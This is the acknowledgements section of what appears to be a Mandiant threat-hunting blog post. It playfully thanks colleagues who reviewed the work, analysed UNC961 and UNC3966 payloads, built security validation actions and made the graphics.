Acknowledgements

A big ‘thank you 3000’ to Tim Martin, threat hunting lead for Managed Defense, for collaborating on the initial idea and contributing technical and comical insights. Special thanks to Tommy Dacanay and Foti Castelan for their marvelous technical review and information sharing that helped shape the multiverse. A cosmic high-five to the FLARE analysts who analyzed UNC961 and UNC3966 payloads referenced in this blog post: Matt Williams, Muhammad Umair, Jay Smith, and Josh Homan. And a tip of the helmet to Matthew Hoerger for assembling Mandiant Security Validation (MSV) Actions and Ana Foreman for the graphics.